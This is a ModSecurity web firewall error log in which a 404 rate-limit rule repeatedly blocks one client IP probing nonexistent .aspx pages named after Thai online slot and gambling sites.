[Thu Jan 29 22:01:01.875026 2026] [:error] [pid 39863:tid 39886] [client 181.214.166.180:31836] [client 181.214.166.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/amb%20superslot.aspx"] [unique_id "aXtoHbsHJJGGu8set58DHQAAAVQ"]
[Thu Jan 29 22:01:02.348504 2026] [:error] [pid 19071:tid 19151] [client 181.214.166.180:31053] [client 181.214.166.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/amb%20superslot.aspx"] [unique_id "aXtoHpfa8Ix5wWmtmJycgQAAAJI"]
[Thu Jan 29 22:01:04.500511 2026] [:error] [pid 20486:tid 20491] [client 181.214.166.180:46301] [client 181.214.166.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/betflik%20%E0%B9%80%E0%B8%84%E0%B8%A3%E0%B8%94%E0%B8%B4%E0%B8%95%E0%B8%9F%E0%B8%A3%E0%B8%B5%2050.aspx"] [unique_id "aXtoIHgqSZb6GBx5nnMOjwAAAQI"]
[Thu Jan 29 22:01:04.989429 2026] [:error] [pid 20579:tid 20647] [client 181.214.166.180:37852] [client 181.214.166.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/betflik%20%E0%B9%80%E0%B8%84%E0%B8%A3%E0%B8%94%E0%B8%B4%E0%B8%95%E0%B8%9F%E0%B8%A3%E0%B8%B5%2050.aspx"] [unique_id "aXtoIDVXNopcNyjJc9UsqAAAAkY"]
[Thu Jan 29 22:01:07.138158 2026] [:error] [pid 20576:tid 20599] [client 181.214.166.180:3513] [client 181.214.166.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/betflix%20auto.aspx"] [unique_id "aXtoIyrDZws_FlQGi9eBCQAAAc0"]
[Thu Jan 29 22:01:07.627821 2026] [:error] [pid 20576:tid 20596] [client 181.214.166.180:33615] [client 181.214.166.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/betflix%20auto.aspx"] [unique_id "aXtoIyrDZws_FlQGi9eBDAAAAco"]
[Thu Jan 29 22:02:24.917315 2026] [:error] [pid 19069:tid 19102] [client 181.214.166.180:10361] [client 181.214.166.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/pg%20auto.aspx"] [unique_id "aXtocPDHsRM4BJ9a4Qt8UAAAABg"]
[Thu Jan 29 22:02:25.403052 2026] [:error] [pid 39863:tid 39871] [client 181.214.166.180:35019] [client 181.214.166.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/pg%20auto.aspx"] [unique_id "aXtocbsHJJGGu8set58DsQAAAUU"]
[Thu Jan 29 22:02:27.553155 2026] [:error] [pid 20578:tid 20619] [client 181.214.166.180:14165] [client 181.214.166.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/pg%20betflik.aspx"] [unique_id "aXtocw6UX7yOMwQFiydFdAAAAgY"]
[Thu Jan 29 22:02:28.032226 2026] [:error] [pid 20578:tid 20620] [client 181.214.166.180:4057] [client 181.214.166.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/pg%20betflik.aspx"] [unique_id "aXtodA6UX7yOMwQFiydFdgAAAgc"]
[Thu Jan 29 22:02:30.179757 2026] [:error] [pid 20578:tid 20626] [client 181.214.166.180:61143] [client 181.214.166.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/pg%20soft%20%E0%B9%80%E0%B8%84%E0%B8%A3%E0%B8%94%E0%B8%B4%E0%B8%95%E0%B8%9F%E0%B8%A3%E0%B8%B550.aspx"] [unique_id "aXtodg6UX7yOMwQFiydFdwAAAg0"]
[Thu Jan 29 22:02:30.665759 2026] [:error] [pid 20576:tid 20597] [client 181.214.166.180:45735] [client 181.214.166.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/pg%20soft%20%E0%B9%80%E0%B8%84%E0%B8%A3%E0%B8%94%E0%B8%B4%E0%B8%95%E0%B8%9F%E0%B8%A3%E0%B8%B550.aspx"] [unique_id "aXtodirDZws_FlQGi9eBdQAAAcs"]
[Thu Jan 29 22:02:32.829090 2026] [:error] [pid 20580:tid 20665] [client 181.214.166.180:12591] [client 181.214.166.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/pg888th%E0%B9%80%E0%B8%84%E0%B8%A3%E0%B8%94%E0%B8%B4%E0%B8%95%E0%B8%9F%E0%B8%A3%E0%B8%B550.aspx"] [unique_id "aXtoeJCZ5HHdXPmeL59HugAAAoA"]
[Thu Jan 29 22:02:33.310499 2026] [:error] [pid 20576:tid 20592] [client 181.214.166.180:23367] [client 181.214.166.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/pg888th%E0%B9%80%E0%B8%84%E0%B8%A3%E0%B8%94%E0%B8%B4%E0%B8%95%E0%B8%9F%E0%B8%A3%E0%B8%B550.aspx"] [unique_id "aXtoeSrDZws_FlQGi9eBdwAAAcY"]
[Thu Jan 29 22:02:35.351409 2026] [:error] [pid 20578:tid 20623] [client 181.214.166.180:20893] [client 181.214.166.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/pxj%20slot%20%E0%B8%97%E0%B8%B2%E0%B8%87%E0%B9%80%E0%B8%82%E0%B9%89%E0%B8%B2.aspx"] [unique_id "aXtoew6UX7yOMwQFiydFewAAAgo"]
[Thu Jan 29 22:02:35.837028 2026] [:error] [pid 20519:tid 20548] [client 181.214.166.180:64827] [client 181.214.166.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/pxj%20slot%20%E0%B8%97%E0%B8%B2%E0%B8%87%E0%B9%80%E0%B8%82%E0%B9%89%E0%B8%B2.aspx"] [unique_id "aXtoewo4s4fyROrkyRn17AAAAYA"]
[Thu Jan 29 22:02:37.942850 2026] [:error] [pid 39863:tid 39886] [client 181.214.166.180:36567] [client 181.214.166.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/sbobet.aspx"] [unique_id "aXtofbsHJJGGu8set58D1wAAAVQ"]
[Thu Jan 29 22:02:38.424147 2026] [:error] [pid 20519:tid 20571] [client 181.214.166.180:25655] [client 181.214.166.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/sbobet.aspx"] [unique_id "aXtofgo4s4fyROrkyRn18AAAAZc"]
[Thu Jan 29 22:02:40.565748 2026] [:error] [pid 20580:tid 20682] [client 181.214.166.180:38346] [client 181.214.166.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/shorturl%20asia%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95.aspx"] [unique_id "aXtogJCZ5HHdXPmeL59HwQAAAo4"]
[Thu Jan 29 22:02:41.039576 2026] [:error] [pid 20486:tid 20490] [client 181.214.166.180:31665] [client 181.214.166.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/shorturl%20asia%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95.aspx"] [unique_id "aXtogXgqSZb6GBx5nnMPKAAAAQE"]
[Thu Jan 29 22:02:43.186509 2026] [:error] [pid 20486:tid 20512] [client 181.214.166.180:47428] [client 181.214.166.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/slot%20%E0%B9%80%E0%B8%A7%E0%B9%87%E0%B8%9A%E0%B8%95%E0%B8%A3%E0%B8%87.aspx"] [unique_id "aXtog3gqSZb6GBx5nnMPKgAAARc"]
[Thu Jan 29 22:02:43.671030 2026] [:error] [pid 20519:tid 20561] [client 181.214.166.180:40569] [client 181.214.166.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/slot%20%E0%B9%80%E0%B8%A7%E0%B9%87%E0%B8%9A%E0%B8%95%E0%B8%A3%E0%B8%87.aspx"] [unique_id "aXtogwo4s4fyROrkyRn1-AAAAY0"]
[Thu Jan 29 22:02:45.820118 2026] [:error] [pid 19069:tid 19084] [client 181.214.166.180:63666] [client 181.214.166.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/slot%2099.aspx"] [unique_id "aXtohfDHsRM4BJ9a4Qt8YgAAAAY"]
[Thu Jan 29 22:02:46.299978 2026] [:error] [pid 19071:tid 19143] [client 181.214.166.180:61335] [client 181.214.166.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/slot%2099.aspx"] [unique_id "aXtohpfa8Ix5wWmtmJyc4QAAAIo"]
[Thu Jan 29 22:02:48.444594 2026] [:error] [pid 19071:tid 19134] [client 181.214.166.180:35297] [client 181.214.166.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/slot789.aspx"] [unique_id "aXtoiJfa8Ix5wWmtmJyc5AAAAIE"]
[Thu Jan 29 22:02:48.920431 2026] [:error] [pid 20486:tid 20509] [client 181.214.166.180:18309] [client 181.214.166.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/slot789.aspx"] [unique_id "aXtoiHgqSZb6GBx5nnMPLgAAARQ"]
[Thu Jan 29 22:02:51.075823 2026] [:error] [pid 20578:tid 20619] [client 181.214.166.180:53906] [client 181.214.166.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/superslot%20%E0%B9%80%E0%B8%84%E0%B8%A3%E0%B8%94%E0%B8%B4%E0%B8%95%E0%B8%9F%E0%B8%A3%E0%B8%B550%20%E0%B8%A2%E0%B8%B7%E0%B8%99%E0%B8%A2%E0%B8%B1%E0%B8%99%E0%B9%80%E0%B8%9A%E0%B8%AD%E0%B8%A3%E0%B9%8C.aspx"] [unique_id "aXtoiw6UX7yOMwQFiydFggAAAgY"]
[Thu Jan 29 22:02:51.559981 2026] [:error] [pid 20579:tid 20645] [client 181.214.166.180:25999] [client 181.214.166.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/superslot%20%E0%B9%80%E0%B8%84%E0%B8%A3%E0%B8%94%E0%B8%B4%E0%B8%95%E0%B8%9F%E0%B8%A3%E0%B8%B550%20%E0%B8%A2%E0%B8%B7%E0%B8%99%E0%B8%A2%E0%B8%B1%E0%B8%99%E0%B9%80%E0%B8%9A%E0%B8%AD%E0%B8%A3%E0%B9%8C.aspx"] [unique_id "aXtoizVXNopcNyjJc9Us-QAAAkQ"]
[Thu Jan 29 22:02:53.698681 2026] [:error] [pid 20486:tid 20490] [client 181.214.166.180:20779] [client 181.214.166.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/superslot%20444%20%E0%B9%80%E0%B8%84%E0%B8%A3%E0%B8%94%E0%B8%B4%E0%B8%95%E0%B8%9F%E0%B8%A3%E0%B8%B5%2050%20%E0%B8%A2%E0%B8%B7%E0%B8%99%E0%B8%A2%E0%B8%B1%E0%B8%99%E0%B9%80%E0%B8%9A%E0%B8%AD%E0%B8%A3%E0%B9%8C.aspx"] [unique_id "aXtojXgqSZb6GBx5nnMPMgAAAQE"]
[Thu Jan 29 22:02:54.178699 2026] [:error] [pid 20579:tid 20655] [client 181.214.166.180:63968] [client 181.214.166.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/superslot%20444%20%E0%B9%80%E0%B8%84%E0%B8%A3%E0%B8%94%E0%B8%B4%E0%B8%95%E0%B8%9F%E0%B8%A3%E0%B8%B5%2050%20%E0%B8%A2%E0%B8%B7%E0%B8%99%E0%B8%A2%E0%B8%B1%E0%B8%99%E0%B9%80%E0%B8%9A%E0%B8%AD%E0%B8%A3%E0%B9%8C.aspx"] [unique_id "aXtojjVXNopcNyjJc9Us_QAAAk4"]
[Thu Jan 29 22:02:56.338270 2026] [:error] [pid 20486:tid 20507] [client 181.214.166.180:7214] [client 181.214.166.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/superslot%20max%20wallet.aspx"] [unique_id "aXtokHgqSZb6GBx5nnMPNAAAARI"]
[Thu Jan 29 22:02:56.818139 2026] [:error] [pid 19069:tid 19095] [client 181.214.166.180:16001] [client 181.214.166.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/superslot%20max%20wallet.aspx"] [unique_id "aXtokPDHsRM4BJ9a4Qt8cAAAABE"]
[Thu Jan 29 22:02:58.983849 2026] [:error] [pid 20519:tid 20569] [client 181.214.166.180:7462] [client 181.214.166.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/superslot%20wallet.aspx"] [unique_id "aXtokgo4s4fyROrkyRn2BQAAAZU"]
[Thu Jan 29 22:02:59.472072 2026] [:error] [pid 20580:tid 20665] [client 181.214.166.180:28416] [client 181.214.166.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/superslot%20wallet.aspx"] [unique_id "aXtok5CZ5HHdXPmeL59HzQAAAoA"]
[Thu Jan 29 22:03:01.566977 2026] [:error] [pid 20576:tid 20593] [client 181.214.166.180:37308] [client 181.214.166.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/superslot%E0%B8%97%E0%B8%94%E0%B8%A5%E0%B8%AD%E0%B8%87%E0%B9%80%E0%B8%A5%E0%B9%88%E0%B8%99.aspx"] [unique_id "aXtolSrDZws_FlQGi9eBnQAAAcc"]
[Thu Jan 29 22:03:02.048560 2026] [:error] [pid 39863:tid 39874] [client 181.214.166.180:50471] [client 181.214.166.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/superslot%E0%B8%97%E0%B8%94%E0%B8%A5%E0%B8%AD%E0%B8%87%E0%B9%80%E0%B8%A5%E0%B9%88%E0%B8%99.aspx"] [unique_id "aXtolrsHJJGGu8set58EAgAAAUg"]
[Thu Jan 29 22:03:04.188972 2026] [:error] [pid 39863:tid 39876] [client 181.214.166.180:1126] [client 181.214.166.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/superslot.aspx"] [unique_id "aXtomLsHJJGGu8set58EBgAAAUo"]
[Thu Jan 29 22:03:04.674184 2026] [:error] [pid 20580:tid 20673] [client 181.214.166.180:23540] [client 181.214.166.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/superslot.aspx"] [unique_id "aXtomJCZ5HHdXPmeL59H0gAAAoU"]
[Thu Jan 29 22:03:06.822170 2026] [:error] [pid 20578:tid 20636] [client 181.214.166.180:42289] [client 181.214.166.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/superslot1234.aspx"] [unique_id "aXtomg6UX7yOMwQFiydFkAAAAhc"]
[Thu Jan 29 22:03:07.306005 2026] [:error] [pid 20578:tid 20614] [client 181.214.166.180:30188] [client 181.214.166.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/superslot1234.aspx"] [unique_id "aXtomw6UX7yOMwQFiydFkQAAAgE"]
[Thu Jan 29 22:03:09.467674 2026] [:error] [pid 19069:tid 19098] [client 181.214.166.180:45217] [client 181.214.166.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/superslot168.aspx"] [unique_id "aXtonfDHsRM4BJ9a4Qt8hwAAABQ"]
[Thu Jan 29 22:03:09.952474 2026] [:error] [pid 40273:tid 40289] [client 181.214.166.180:34778] [client 181.214.166.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/superslot168.aspx"] [unique_id "aXtonRN1IJpP__zZvujK8wAAAE4"]
[Thu Jan 29 22:03:12.086764 2026] [:error] [pid 20578:tid 20615] [client 181.214.166.180:49939] [client 181.214.166.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/superslot888.aspx"] [unique_id "aXtooA6UX7yOMwQFiydFlAAAAgI"]
[Thu Jan 29 22:03:12.572011 2026] [:error] [pid 40273:tid 40286] [client 181.214.166.180:46459] [client 181.214.166.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/superslot888.aspx"] [unique_id "aXtooBN1IJpP__zZvujK-AAAAEs"]
[Thu Jan 29 22:03:14.724938 2026] [:error] [pid 39863:tid 39872] [client 181.214.166.180:46046] [client 181.214.166.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/superslotv9.aspx"] [unique_id "aXtoorsHJJGGu8set58EGQAAAUY"]
[Thu Jan 29 22:03:15.204491 2026] [:error] [pid 20580:tid 20683] [client 181.214.166.180:45109] [client 181.214.166.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/superslotv9.aspx"] [unique_id "aXtoo5CZ5HHdXPmeL59H4QAAAo8"]
[Thu Jan 29 22:03:17.365137 2026] [:error] [pid 20519:tid 20561] [client 181.214.166.180:14870] [client 181.214.166.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/tgaslot.aspx"] [unique_id "aXtopQo4s4fyROrkyRn2IAAAAY0"]
[Thu Jan 29 22:03:17.839008 2026] [:error] [pid 39863:tid 39874] [client 181.214.166.180:28468] [client 181.214.166.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/tgaslot.aspx"] [unique_id "aXtopbsHJJGGu8set58EHAAAAUg"]
[Thu Jan 29 22:03:20.004355 2026] [:error] [pid 20519:tid 20552] [client 181.214.166.180:37161] [client 181.214.166.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/u31%20%E0%B9%80%E0%B8%84%E0%B8%A3%E0%B8%94%E0%B8%B4%E0%B8%95%E0%B8%9F%E0%B8%A3%E0%B8%B5%20188.aspx"] [unique_id "aXtoqAo4s4fyROrkyRn2JAAAAYQ"]
